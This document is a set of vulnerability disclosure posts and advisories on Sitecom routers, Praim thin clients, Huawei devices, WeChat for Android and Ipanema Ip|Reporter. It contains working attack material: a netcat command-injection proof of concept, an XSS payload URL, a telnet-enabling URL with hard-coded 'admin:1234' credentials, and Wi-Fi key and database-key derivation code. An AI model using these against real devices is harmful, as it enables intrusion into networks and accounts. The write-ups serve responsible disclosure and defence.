Sitecom firmware encryption and wireless keys

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Authors: Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto)

Last year we blogged about multiple security issues affecting Sitecom device models WLM-3500 and WLM-5500. One of these issues allowed attackers to obtain the default wireless passphrase of a vulnerable device in a "single shot", as the wireless key was derived from the device MAC address using an algorithm included inside the device firmware. This is a very serious issue, as many users never change the default Wi-Fi passphrase and keep using the one set by the device manufacturer.

We recently had the opportunity to analyze some other Sitecom routers, more precisely models WLR-4000 and WLR-4004. We were first attracted by this models due to the introduction of some mechanism to encrypt the firmware image distributed through Sitecom web site. To make a long story short, we soon realized the encryption layer could be easily circumvented; in addition, these routers were affected by the very same issue concerning the wireless passphrase: also for these models the key is derived from the MAC address, thus attackers can easily generate the default wireless key and access the LAN of a victim user.

Analysis of the firmware layout

In the following we briefly describe the analysis of the WLR-4004 firmware image (v1.23), but WLR-4000 differs only in minor details.

As a first step, to analyze an embedded device we typically try to download the firmware (when available) and inspect its contents. With WLR-4000/WLR-4004 devices we were lucky enough to find the firmware image on Sitecom web site. However, a preliminary analysis of the firmware  using binwalk provided no information about its internal structure:

$ binwalk 4004-FW-V1-23.bin
DECIMAL       HEX           DESCRIPTION
---------------------------------------------
$



This can be a symptom of a weird image format or, more often, an encrypted/obfuscated firmware. After we gave a quick look at the file entropy, we started to opt for the latter hypothesis. As an example, consider the low-entropy areas around 1.4MB and at the very end of the file:

File entropy for the WLR-4004 firmware image

A closer look to these regions provided some clues about the actual structure of the firmware image. As can be seen from the hex dump below, the final low-entropy area is due to the very same 8-byte sequence (88 44 a2 d1 68 b4 5a 2d, highlighted in red) that repeats until the end of the file.

$ dd if=4004-FW-V1-23.bin bs=$((0x0339720)) skip=1 | xxd | head
0000000: 00c6 ece0 c8f2 402e bdaa db83 d91d d987  ......@.........
0000010: b47d 4da1 987d 0f0d d64f 901a a6ae 056a  .}M..}...O.....j
0000020: 6d68 0219 3648 7980 4073 c849 ee04 5a2d  mh..6Hy.@s.I..Z-
0000030: ef9c ae4f 68b5 f52f 104c a2d1 1d08 620a  ...Oh../.L....b.
0000040: b674 af5a 6ab4 5a2d 8845 fb8b fe71 472d  .t.Zj.Z-.E...qG-
0000050: 8844 a2d1 6c34 5a2d 8844 5617 75b4 5a2d  .D..l4Z-.DV.u.Z-
0000060: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
0000070: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
0000080: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
0000090: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
...

In an unencrypted firmware, the final bytes of the image are often used for padding and are thus initialized to zero (or to 0xff). But assuming our Sitecom firmware has been encrypted using some standard scheme, which algorithm would produce such a recurring pattern?

Our first attempt was to try with a basic XOR encryption, assuming a 8-byte key equal to byte sequence we observed before. The following Python snippet reads the encrypted image from standard input, performs the XOR and writes the result to standard output.

Firmware decryption routine for WLM-4004 images

After decrypting the firmware image we tried again to use binwalk to analyze the firmware. The results confirmed our hypothesis about a XOR algorithm being used to cipher the image: this time binwalk identified all the main components of a standard firmware image, including the kernel image (at offset 0xc0) and the root file system (offset 0x15d080).

$ cat 4004-FW-V1-23.bin | python decrypt.py > decrypted.bin
$ binwalk decrypted.bin

DECIMAL       HEX           DESCRIPTION
----------------------------------------------------------------------------------------
128           0x80          uImage header, header size: 64 bytes, header CRC: 0xAAB37DFB, created: Wed Jan 15 06:15:01 2014, ...
192           0xC0          LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4240232 bytes
1429632       0x15D080      Squashfs filesystem, little endian, version 4.0, compression:  size: 1951490 bytes,  131 inodes, blocksize: 131072 bytes, created: Wed Jan 15 06:14:03 2014

 

Generation of the wireless key

We were finally able to analyze the contents of the firmware image (and, in particular, of the root file system) to search for any evidence of the wireless key generation algorithm. We were soon attracted by a rather "suspect" function exported by a shared library named libdbox.so; the function itself was named generate_wpa2_key_based_on_mac(). And yes, as you can probably imagine this is exactly the function we were looking for :-)

Function generate_wpa2_key_based_on_mac(), exported by libdbox.so

Similarly to the algorithm we found in WLM devices last year, the scheme used in WLR routers is also based on "scrambling" the MAC address and apply some character substitutions leveraging a hard-coded charset. The WLR-4000 and WLR-4004 only differ in the actual charset being used. More in detail, the algorithm is sketched out in the next figure.

A fragment of the key generation algorithm

As usual, we wrote a Python script that implements the attack (available here). The script receives in input the MAC address of the vulnerable Wi-Fi network and the router model name ("4000" for WLR-4000 and "4004" for WLR-4004) and generates the corresponding Wi-Fi key. A usage example is shown below.

$ python wlr-genpsk.py -m 4000 aa:bb:cc:dd:ee:ff
MAC:  aa:bb:cc:dd:ee:ff
SSID: SitecomDDEEFF
WPA:  ND68V8QLC6VS


$ python wlr-genpsk.py -m 4004 aa:bb:cc:dd:ee:ff
MAC:  aa:bb:cc:dd:ee:ff
SSID: SitecomDDEEFF
WPA:  C3N8VQEA2NVG 

Conclusions

Is not so uncommon for embedded device makers to rely on some obscure, and often custom-made, algorithms in order to generate secrets (e.g., Wi-Fi keys, admin passwords) starting from public details (e.g., MAC addresses, wireless SSID). Such approaches are quite handy for testing, debugging and manufacturing purposes. Even if it could be a very bad security practice, as long as the algorithm is sufficiently robust and is not leaked, no big issues arise.

However, in this blog post we shown how things can change when developers "forget" to remove an implementation of the algorithm from the final version of the device firmware: in these cases, it is just a matter of time until the code is found, analyzed and a key generator is developed, even when the device firmware image is "protected" by some obfuscation or encryption scheme.

Remote code execution on Praim thin client devices

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Author: Roberto Paleari (@rpaleari), Aristide Fattori (@joystick), and Ruggero Strabla (@rstrabla)

During a recent security assessment we had the opportunity to analyze a thin client device manufactured by Praim, an Italian company that, according to their web site, has "nearly  1 million user installations" of its "Thin & Zero solutions". In detail, our assessment involved some ThinOX I9020 devices, updated with the latest firmware version available.

We noticed our target device was exposing an UDP service listening on port 1680. This service is available in the default configuration and implemented by a binary application named "browsed".

More in detail, "browsed" is a complex application used for the centralized management of the thin client, which, among the other things, also includes a FTP service to upgrade the device firmware. A closer look to the binary application revealed a command-injection vulnerability that can be trivially exploited by an attacker located on the same LAN where the thin client is connected.

Technical details

Data received by "browsed" on port UDP/1680 is eventually fed to a system() library call, without being properly sanitized before. This situation is testified by the code snippet in the figure below, where the program builds a command-line string using the payload of the UDP datagram. The only constraint is that the check at program address 0x00011904 must be satisfied in order for the system() call to be reached; this can be done by setting a specific input byte (at offset 70 of the UDP datagram) to four.


Command-injection vulnerability

As a proof-of-concept, the following command exploits this issue and executes the "reboot" command on the thin client, immediately rebooting the device:

perl -e 'print "\";reboot;\"" . "A"x59 . "\x04" . "B"x63' | nc -u 1.2.3.4 1680 

Obviously, in the command above "1.2.3.4" must be replaced with the actual IP address of the vulnerable ThinOX device.

The device already includes the netcat utility, so gaining a remote shell on the thin client is just a matter of changing the above command-line to leverage nc to connect-back to the attacker's IP and spawn a shell, as shown in the picture below (astute readers will notice the connect-back shell originates from 127.0.0.1; the reason is that, for this test, we executed the vulnerable application inside an emulated environment).

Gaining a connect-back shell from the Praim ThinOX device

Disclosure

We notified Praim about this vulnerability on February 24th, 2014. The vendor promptly replied and started to work on the issue. However, some weeks later (on March 14th) Praim informed us that they were aware of this issue but, according to them, "no sensitive data is stored inside the thin client", so they are not planning to release a fix for this issue anytime soon. We do not fully agree with this statement, as attackers could still abuse a compromised thin client to intercept sensitive data, e.g., by installing a key logger on the device and capturing authentication credentials for remote hosts as soon as they are typed in by the user, even if not stored persistently inside the thin client.

According to Praim, the vulnerability will probably be addresses in a future firmware version (still under development) that will replace the UDP service ("browsed") with a completely different management interface.


Yet another Huawei weak password encryption scheme

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Author: Roberto Paleari (@rpaleari)

Some months ago, we blogged about a weak password encryption scheme used by several Huawei products. In a nutshell, this scheme obfuscates and encrypts the password using DES with a hard-coded key.

After our notification, Huawei published a security advisory describing this issue. According to their advisory, Huawei solution was to "abandon DES algorithm and adopt AES256 algorithm". We were quite intrigued by this statement, also because the problem was not the adoption of DES per se, but the use of a hard-coded encryption key and no password salting. Thus, we decided to investigate the new AES256 scheme.

Unfortunately, we soon realized the new scheme is affected by security weaknesses very similar to those identified in the previous encryption scheme. Briefly, passwords encrypted with the new scheme can be recognized by the "%$%$" header and trailer. Decryption works as follows:
  1. Leading and trailing occurrences of string "%$%$" are removed.
  2. The ASCII encrypted text is translated into a binary string, using a custom algorithm.
  3. An AES key is derived by changing few bytes of a hard-coded password with a password salt (also stored with the encrypted text).
  4. AES 256 is applied, using the derived AES key and a hard-coded IV.
A Python procedure that implements this decryption algorithm is available here. Upon termination, procedure decrypt_password() returns the clear-text password.

We notified Huawei about this new weak encryption key on February 11th, 2013. As a countermeasure, we suggested to store only the cryptographic hash value of sensitive data (e.g., passwords and SNMP communities).

To the best of our knowledge, the only sensitive value currently stored using a hash is the console password. In this case, the device pads with NULLs the clear-text password to reach a length of 16 bytes, then computes a SHA-256 hash over the resulting string. Finally, the hash is encrypted using the custom "AES256" scheme described above. In all the other cases (e.g., user passwords and SNMP communities) the device simply encrypts the clear-text password using the "AES256" scheme.

A look at WeChat security

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Author: Roberto Paleari (@rpaleari)

TL;DR: Any (unprivileged) application installed on an Android phone can instruct WeChat to send an hash of your password to an external, attacker-controlled server. If you are a WeChat user, it is probably worth reading the rest of this post :-)

Introduction

Nowadays, instant messaging (IM) has become one of the main applications of mobile phones, with plenty of "apps" available and literally billions of messages exchanged every day. With the widespread diffusion of mobile Internet traffic plans, IM applications are rapidly replacing other forms of mobile communication, such as text messages and, in some situations, even e-mails.

As conversations are rapidly converging to IM applications, it is natural to start asking how secure this communication channel actually is, and if users can really trust IM apps and their back-end infrastructure. We decided to pick one of these applications and look "under the hood", in order to see how the developers tried to ensure the confidentiality of in-transit communications.

After a quick survey of available IM applications, we decided to start with WeChat, a popular mobile IM platform developed by the China-based Tencent company. The choice of this specific application was quite arbitrary and mainly based on the fact that, in this period, WeChat is publicized a lot on the Italian TV.

WeChat is a feature-rich and sophisticated mobile application, which allows users to communicate via text messages, voice calls, to share photos and videos, and much more. The app is available for several mobile platforms, but we focused on the Android version only: according to Google Play, WeChat for Android alone has more than 50 million downloads. Most of the issues discussed in this post should affect Android versions of WeChat up to 4.5.1. On August 5th, 2013, Tencent released version 5.0, which introduced some major changes; we still have to analyze this version in detail.

A glimpse at the network traffic

The most obvious and easy thing to start with was an analysis of the network traffic generated by the application during normal usage. At this aim, we instructed our Android emulator to save all network traffic to file, we installed WeChat, we logged in and sent a couple of text messages. Part of the traffic generated by WeChat is shown below.


As can be seen from the figure, most of the traffic travels on TCP port 8080, typically reserved for HTTP connections (previous versions of WeChat were using the standard HTTPS port, tcp/443). However, at a first sight, the payload of these packets looks quite strange; indeed, Wireshark is not even able to dissect the HTTP payload.

Looking more closely, we noticed WeChat developers implemented a custom communication protocol: we were able to recognize an initial packet header, right at the beginning of the payload, that confirms these are actually not HTTP/HTTPS sessions. More precisely, we identified the following header fields:
  • Packet length (4 bytes)
  • Header length (2 bytes, always equal to 0x0010)
  • Protocol version (2 bytes, always equal to 0x0001)
  • Opcode (4 bytes, specifies the actual command encapsulated in this packet)
  • Sequence number (4 bytes)

This initial header is followed by an opcode-dependent message body, usually in encrypted form. Briefly, the first message is encrypted by the application using RSA, with an hard-coded public key; next messages are encrypted in AES. In WeChat versions up to 4.3.5 we identified several vulnerabilities which allow an attacker who can intercept the traffic to quickly decrypt the message body, thus being able to access the messages sent and received by the user. More recent versions seems to be immune to these attacks, but we still have to perform a more in-depth analysis of the encryption scheme implemented in the latest WeChat releases.

Debugging

Here we come to the interesting part :-) WeChat includes an undocumented debugging infrastructure, probably used by developers for testing purposes. However, this infrastructure can also be abused by attackers to steal sensitive information concerning a WeChat user account.

In detail, WeChat reads debug settings from an Android ContentProvider, identified by URI "com.tencent.mm.coolassist.debugprovider/config". This ContentProvider is used by the application as a centralized source of debug configuration parameters, and can be employed to specify which debug messages should be logged to the Android console (adb logcat), to save log messages to the sdcard, and even configure a remote logger.

From a security perspective, the remote logging feature is surely the most interesting one. By exploiting this functionality, an attacker can develop a malicious application which exposes the aforementioned ContentProvider and, through specially-crafted debug settings, makes WeChat to send logs to an external, attacker-controlled, server. Such a malicious application would not require any special Android permission.

It is worth considering that logged messages disclose sensitive information about the users, including the user ID, password hash and other details. As an example, here is an excerpt from a remote log session:

09-09 14:32:51 594 V/MicroMsg.MMBuiltInIP <-- data-blogger-escaped-br="" data-blogger-escaped-dump="" data-blogger-escaped-end="" data-blogger-escaped-mmbuiltinip=""> 09-09 14:32:51 626 D/MicroMsg.AccInfo update session info: session=, uin=-1893467821
09-09 14:32:51 635 I/MicroMsg.AutoAuth sending remote request, network.active=false
09-09 14:32:51 666 I/MicroMsg.AutoAuth.SceneInfoQueue inQueue: netid=0
09-09 14:32:51 691 V/MicroMsg.SDK.SyncTask sync task done, return=0, cost=56(wait=0, run=56)
09-09 14:32:51 783 V/MicroMsg.NetStatWatchDog dkreport status:9999002 nowCount:1 ret:1
09-09 14:32:51 810 D/MicroMsg.AutoAuth account info updated:AccInfo:
|-uin =-1893467821
|-user =ukcd_ao03gex3y2731v
|-session =
|-pass =5f4dcc3b5aa765d61d8327deb882cf99
|-pass2 =5f4dcc3b5aa765d61d8327deb882cf99
`-cookie =(null)
09-09 14:32:51 885 D/MicroMsg.NetStatWatchDog item.toByteArray() :433
09-09 14:32:52 101 D/MicroMsg.GYNet encoding, type=380, key=, time=284
09-09 14:32:52 108 I/MicroMsg.GYNet sendImp reqData.len:866
09-09 14:32:52 114 D/MicroMsg.NetStatusUtil activeNetInfo extra=internet, type=0

As can be seen from these logs, the application forwards to the remote server the user name (ukcd_ao03gex3y2731v), another user identifier (uin, with value -1893467821), and even the user's password hash (5f4dcc3b5aa765d61d8327deb882cf99). It should be noted the hash value is a plain MD5 of the user's password, sent to the server for the authentication. Obviously some parameters in the above logs have been edited to prevent readers from hacking our account but, yes, 5f4dcc3b5aa765d61d8327deb882cf99 is the MD5 for string "password" and this was really our account's password :-)

The next section details the communication protocol used by WeChat to interact with the remote log server.

Remote logging protocol

Remote logging can be enabled by configuring the following debug keys:
  • .com.tencent.mm.debug.log.level = 0
  • .com.tencent.mm.debug.log.mmlog.url.mm.log = <ip1>:<port1>
  • .com.tencent.mm.debug.log.mmlog.url.push.log = <ip2>:<port2>
The first key defines the log level ("0" simply means to log everything), while others are used to set the log server address for the two main WeChat application modules (mm and push).

WeChat developers implemented a trivial key derivation scheme to allow the application and the remote log server to agree on an encryption key to cipher debug logs. In a nutshell, the app reads three ASCII lines from the server and uses these lines to derive a DES key. Before transmitting debug messages, the application encrypts them in DES/ECB using this key.

The key generation function is implemented by the following Python code snippet. Function generatekey() receives in input the three lines sent by the server and returns the corresponding DES key.

import hashlib
 

def mangle(data):
    charset = "0123456789abcdef"
    r = ""
    for c in hashlib.md5(data).digest():
        r += charset[(ord(c) >> 4) & 0xf]
        r += charset[ord(c) & 0xf]
    return r


def generatekey(line0, line1, line2):

    seed = line1[2:]
    seed += str(int(line2[2:]))
    seed += "dfdhgc"
    key = mangle(seed)[7:21]
    return key

We also implemented a buggy "quick & dirty" Python script that listens for incoming connections, sends out three ASCII lines, computes the key and deciphers incoming messages. The script is available here.

As a final note, we would like to point out that the ".com.tencent.mm.debug.log.mmlog.url.* " configuration keys are not supported by the latest version of WeChat (5.0). However, this version still queries the ContentProvider for debug settings and part of the logging functionalities have been moved to a dedicated JNI library. We plan to investigate these new features in the future, so at the moment we cannot exclude that the remote logging mechanism has simply been moved elsewhere.

Local database encryption

WeChat locally stores application data in an encrypted SQLite database named "EnMicroMsg.db". This database is located in the "MicroMsg" subfolder inside the application's data directory (typically something like "/data/data/com.tencent.mm").

The database is encrypted using SQLCipher, an open source extension for SQLite that provides full database encryption. The encryption password is derived from the "uin" parameter (see previous sections) combined with the device identifier through a custom function. More precisely, the key generation function leverages the mangle() function shown in the previous Python snippet. The actual database encryption key can be generated through the following pseudo-code:

password = mangle(deviceid + uin)[:7]

Here deviceid is the value returned by the Android API function TelephonyManager.getDeviceId(). Follows a sample SQLCipher console session that demonstrate how the EnMicroMsg.db database can be decrypted.

$ sqlcipher EnMicroMsg.db
sqlite> PRAGMA key = 'b60c8e4';
sqlite> PRAGMA cipher_use_hmac = OFF;
sqlite> .schema
CREATE TABLE conversation (unReadCount INTEGER, status INT, ...
CREATE TABLE bottleconversation (unReadCount INTEGER, status INT, ...
CREATE TABLE tcontact (username text PRIMARY KEY, extupdateseq long, ...
...

It is also worth pointing out that, as the key generation algorithm truncates the password to 7 hex characters, it would be not so difficult for motivated attackers who are able to get the encrypted database to brute force the key, even without knowing the uin or the device identifier.

Conclusions

In this post we discussed some security weaknesses that affect Android versions of WeChat up to 4.5.1 (and possibly others). We tried to contact developers to notify our findings, but with no luck: we wrote an e-mail to Tencent technical support both on August 30th and on September 3th, but we got no reply. With the recent widespread diffusion of mobile instant messaging, app developers should take security into more serious considerations, as their application will probably rapidly become an attractive target for attackers.

Cross-Site Scripting Vulnerability on Ipanema Ip|Reporter Web

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Advisory Information
Title: Cross-Site Scripting Vulnerability on Ipanema Ip|Reporter web v7.1  
Release date: 22/04/2013  
Last update:  30/08/2013
Credits: Cersosimo Fiorenzo (Emaze Networks S.p.A.)

Vulnerability Information
Class: Input Validation Vulnerability, Cross-site Scripting
CVE: 2013-3296 

Affected Software
We confirm the presence of the security vulnerability on the following product version:
  • Ip|Reporter Web v7.1
Vulnerability Details 
Ip|reporter web can be exploited to cause a disclosure of the user’s session cookie, allowing an attacker to hijack the user session and take over the account. The vulnerability is on the page help.jsp, in the params displetid.

A proof of concept of the Reflected Cross-Site Scripting follows: 
  • https://[host]/salsa/ipreporter_portal/[domain]/portal/help.jsp?rubricId=15;&displetid=164;%22%3C/script%3E%3Cscript%3Ealert%28123%29%3C/script%3E&parentid=150

Remediation
Patch is available on the support web site. 
  
Report Timeline
22/04/2013 - Vulnerability found.
23/04/2013 - Author sends a detailed email describing the vulnerability to the customer. 
23/04/2013 - Customer sends the detail to the Vendor.
29/04/2013 - Vendor opens a ticket to the supplier of the specific component.
17/06/2013 - Author sends an email
to ask for an update.
18/07/2013 - Vendor replies that the patch has been released. 
30/08/2013 - Author notifies the intention to disclosure.
06/09/2013 - Disclosure.
 
Copyright
Copyright(c) Emaze Networks S.p.A. 2013, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community.
There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Multiple vulnerabilities on Sitecom devices

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Authors: Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto)

One of our main activities at Emaze consists in analyzing embedded devices to identify security vulnerabilities that could be exploited by attacker to threaten end-users. In this blog post we focus on some issues that affect Sitecom N300/N600 devices, more precisely models WLM-3500 and WLM-5500 (...and possibly others).


The first vulnerability concerns the Wi-Fi network. Modern routers typically allow users to access the Internet also through a wireless connection. Obviously, Wi-Fi is crucial from a security perspective, as could allow nearby attackers (i.e., attackers located within the Wi-Fi network range) to access the user's local network. Unfortunately, in the past embedded devices have often been found to be affected by security vulnerabilities that allow attackers to access the Wi-Fi network, as we also demonstrated in previous blog posts. In the specific case of Sitecom devices, one of the issue we identified permits attackers to obtain the default wireless passphrase configured on the device. As many users don't change the predefined wireless key and keep using the default one, attackers can exploit this vulnerability to connect to the Wi-Fi network and access the victim's LAN.

In addition, we describe two vulnerabilities that permit remote attackers (i.e., attackers located anywhere on the Internet) to activate and access the Telnet service on the device, thus gaining full control over any aspect of the router.

Wireless key generation

Affected Sitecom devices are shipped with a 8-letter WPA/WPA2 passphase, printed on a stick attached under the device. The very same passphrase can  be also used to authenticate to the router web interface, with administrative privileges. At a first glance, this key seems just like a random sequence of eight lowercase and uppercase letters. However, our analysis revealed that this 8-letter key is not random at all, as it can be generated from publicly-accessible information, namely the MAC address of the wireless interface card.

Generating the WPA/admin passphrase from publicly-accessible information

This kind of issue is not new: in the past several other device models were shown to derive the wireless passphrase from the MAC address and/or the Wi-Fi SSID (e.g., Thomson, Huawei and many others). To the best of our knowledge, this is the first time Sitecom devices are also proved to be vulnerable.

More in detail, attackers can connect to a vulnerable Sitecom Wi-Fi network through a simple 3-step procedure:
  1. Move inside the wireless network range and intercept the router Wi-Fi MAC address.
  2. Apply the Sitecom key generation algorithm. This algorithm, starting from the Wi-Fi MAC address, generates the default WPA passphrase.
  3. The generated WPA key can be used to access the victim's wireless network, unless the user has changed it configuring a different Wi-Fi passphrase.
Of course, the challenge for the attacker is to determine which algorithm was used to generate the WPA key starting from the Wi-Fi MAC address. In the case of the affected Sitecom routers, the key generation algorithm was included right inside the device firmware, and was used during a "factory reset" procedure to re-generate the default WPA passphrase.

To demonstrate this attack, we reconstructed the WPA key generation algorithm and implemented it in a Python script, available here. Usage is very simple: just invoke the script passing the MAC address of the target Wi-Fi network, as shown in the example below. The script outputs both the key for the WLM-3500 and the two passphrases for the dual-band WLM-5500.

$ python sitecomkeygen.py aa:bb:cc:dd:ee:ff
==== Single-band (N300/WLM-3500) ====
KEY 2.4GHz: DqzskECV

==== Dual-band (N600/WLM-5500) ====
KEY 5GHz:   1ju5YcPQ
KEY 2.4GHz: 1jgFz11Q

Unauthorized Telnet access

We also realized that unauthenticated remote users can enable the Telnet server by accessing the following (undocumented) URL:
http://<target-ip>/cgi-bin/telnetControl.cgi
This URL is accessible on the WAN side, i.e., it can be invoked by Internet-facing attackers. As soon as the URL is accessed, the Telnet server is enabled also on the WAN interface. In addition, attackers don't have to guess a valid username/password combination to login: Sitecom devices embed a hard-coded credential, "admin:1234", that can be used to authenticate to the Telnet service, with administrative (i.e., root) privileges. As this administrative account is hard-coded, it cannot be disabled nor changed by a normal user.

Remediation

All the security issues discussed in this blog post have already been notified to Sitecom. Sitecom has now released updated firmware versions to address the Telnet issues (firmware versions WLM-3500v2001 v1.08 and WLM-5501v1001 v2.01). Besides manual upgrade, patched software images are also distributed to end-users through the automatic firmware upgrade feature. 

Regarding the wireless passphrase issue, obviously Sitecom cannot distribute a modified firmware that changes the Wi-Fi key with a true random one, as this approach would make several users unable to access their Wi-Fi network. For this reason, we strongly recommend Sitecom users to immediately change their Wi-Fi passphrase, avoiding to use the default one.

In addition, Sitecom confirmed that the algorithm for the generation of WPA/admin passphrase discussed above is valid only for WLM-3500 and WLM-5501 devices. New device models should not be affected by the same issue.

Huawei B153 3G/UMTS router WPS weakness

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Authors: Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto)

Introduction

Last May we performed a security assessment involving a B153 device, a 3G/UMTS wireless router manufactured by Huawei.

During these tests, we identified a new, previously unknown, security issue that allows to instantaneously crack the WPA/WPA2 passphrase of any of these devices. In other words, by exploiting this vulnerability attackers can gain access to the victim's wireless network in a "single shot", without the need of any brute forcing.
All the tests were performed using a Huawei B153 device; other device models from the same family are probably also affected, but they were not tested.

As required by the ISP that distributes this device to end-users, we do not disclose the full commercial name of the product, but only the manufacturer device model (i.e., Huawei B153).

Vulnerability overview

Like many other Wi-Fi routers, the B153 device supports the WPS procotol, to allow wireless users to easily authenticate to the WPA/WPA2 network. In December 2011, one of the WPS methods, namely the "external registrar" PIN-based method, was demonstrated to be insecure by design, as attackers can brute force the configured PIN in just few hours. This attack is now implemented in publicly available exploitation tools, such as reaver.

We noticed that, in the default settings, B153 devices are configured to accept PIN-based WPS sessions. However, no WPS PIN is actually configured: attackers can spend hours trying all possible WPS PINs, but none of these PIN values will actually work. Nevertheless, the fact that the device actually replies to PIN-based WPS requests was quite suspicious, so we decided to investigate more deeply.

We spent some time analyzing the implementation of the WPS daemon running on the B153. We soon realized that, despite no WPS PIN is actually configured, a specially-crafted WPS session can still force the device to complete the handshake, revealing the current WPA2 passphrase. In other terms, attackers located within the wireless range of the device can instantly recover the WPA passphrase.

It should be considered that this vulnerability allows attacker to return the current WPA/WPA2 key: even if the user has modified the key, choosing a passphrase different than the default one, the attack still succeeds. Additionally, we would also like to stress out that this vulnerability is present in the default device configuration, thus no user action nor any specific customization is required.

Proof-of-concept attack

This attack cannot be performed using a "standard" WPS cracking tool, as it requires a peculiar modification to the WPS protocol implementation.

We implemented a proof-of-concept by modifying the reaver WPS cracking tool, introducing few modifications to the WPS implementation in order to exploit the vulnerability we identified on B153 devices. A sample session using our patched reaver tool is reported below, showing how WPA/WPA2 key is recovered in a "single shot", i.e., with a single WPS session.


$ sudo ./reaver -c 1 -i mon0 -b aa:bb:cc:dd:ee:ff -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

  ----------------------------------------------------------------
-=[ Patched by Emaze Networks to implement the Huawei B153 WPS attack ]=-
    ----------------------------------------------------------------

[+] Switching mon0 to channel 1
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with
AA:BB:CC:DD:EE:FF (ESSID: xxx79E0)
[+] Trying the "secret" pin :-)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 3 seconds
[+] WPA PSK: '5D3FC94E'
[+] AP SSID: 'xxx79E0'
[+] Nothing done, nothing to save.


To protect end-users, we will not disclose the details of the attack, nor the reaver patch we developed. In fact, despite the device manufacturer now provides a firmware version that should address this vulnerability, to the best of our knowledge the new software is not deployed automatically on the affected devices, and vulnerable users are required to manually update their devices. Unfortunately, according to our experience, end-users apply security patches to their embedded devices very rarely.

Conclusions

We notified this security issue to the manufacturer on May 21st, 2013, providing a technical description of the attack and our proof-of-concept implementation of the exploit. Huawei released an updated firmware version that addresses this vulnerability. Emaze has still not tested the effectiveness of the security patch introduced in this new software version.